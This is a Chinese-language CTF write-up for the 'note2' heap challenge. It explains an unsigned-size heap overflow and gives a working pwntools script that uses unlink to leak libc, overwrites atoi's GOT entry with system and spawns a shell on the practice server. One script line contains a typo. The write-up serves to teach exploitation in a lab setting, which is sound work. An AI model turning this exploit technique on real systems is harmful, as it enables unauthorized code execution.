首先对程序进行分析,是一个常见的菜单题,提供了增加、输出、编辑以及删除的操作。
其中看两个比较重要的功能,增加和编辑。
根据用户需要建立相应大小的堆块,并输入相应的内容。其中申请的大小不能超过0x80。堆块的大小会存储在一个表中。
编辑功能中提供了覆写堆块和向堆块增添内容的功能。
漏洞分析
这里函数中的i为unsigned类型,a2传入的为int64,如果a2为0,则可以绕过输入大小的限制,造成堆溢出。最开始并没有发现,后面经过看了一些师傅的博客,发现了这个漏洞。
利用思路:
因为这里有一个表存储申请堆的地址,所以我们可以考虑使用unlink。使用unlink泄露出libc,后面将atoi的got表地址修改为system的地址,输入'/bin/sh\x00',即可以得到shell。
正常chunk | 大小 | fake chunk |
chunk0 | 0x90 | 0xa0 |
chunk1 | 0x20 | |
chunk2 | 0x90 |
payload:
from pwn import *
from LibcSearcher import *
def login(name,address):
sh.sendlineafter('name:\n',name)
sh.sendlineafter('address:\n',address)
def add(size,content):
sh.sendlineafter('option--->>\n','1')
sh.sendlineafter('(less than 128)\n',str(size))
sh.sendafter('content:\n',content+'\n')
def edit(idx,option,content):
sh.sendlineafter('option--->>\n','3')
sh.sendlineafter('note:\n',str(idx))
sh.sendlineafter('append]\n',str(option))
sh.(endlineafter('TheNewContents:',content)
def show(idx):
sh.sendlineafter('option--->>\n','2')
sh.sendlineafter('note:\n',str(idx))
def delete(idx):
sh.sendlineafter('option--->>\n','4')
sh.sendlineafter('note:\n',str(idx))
context(os='linux',arch='amd64',log_level='DEBUG')
#sh = process('./note2')
sh = remote('node4.buuoj.cn',25852)
elf = ELF('./note2')
puts_got = elf.got['atoi']
login('aaaa','bbbb')
heap = 0x0000000000602120
fake_chunk = p64(0)+p64(0xa1)+p64(heap-0x18)+p64(heap-0x10)
add(0x80,fake_chunk)#0
add(0,'aa')#1
add(0x80,'bb')#2
delete(1)
add(0,p64(0)*2+p64(0xa0)+p64(0x90))
delete(2)
edit(0,1,'a'*0x18+p64(puts_got))
show(0)
leak_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = LibcSearcher('atoi',leak_addr)
libc_base = leak_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
edit(0,1,p64(system_addr))
sh.sendlineafter('option--->>\n','/bin/sh\x00')
sh.interactive()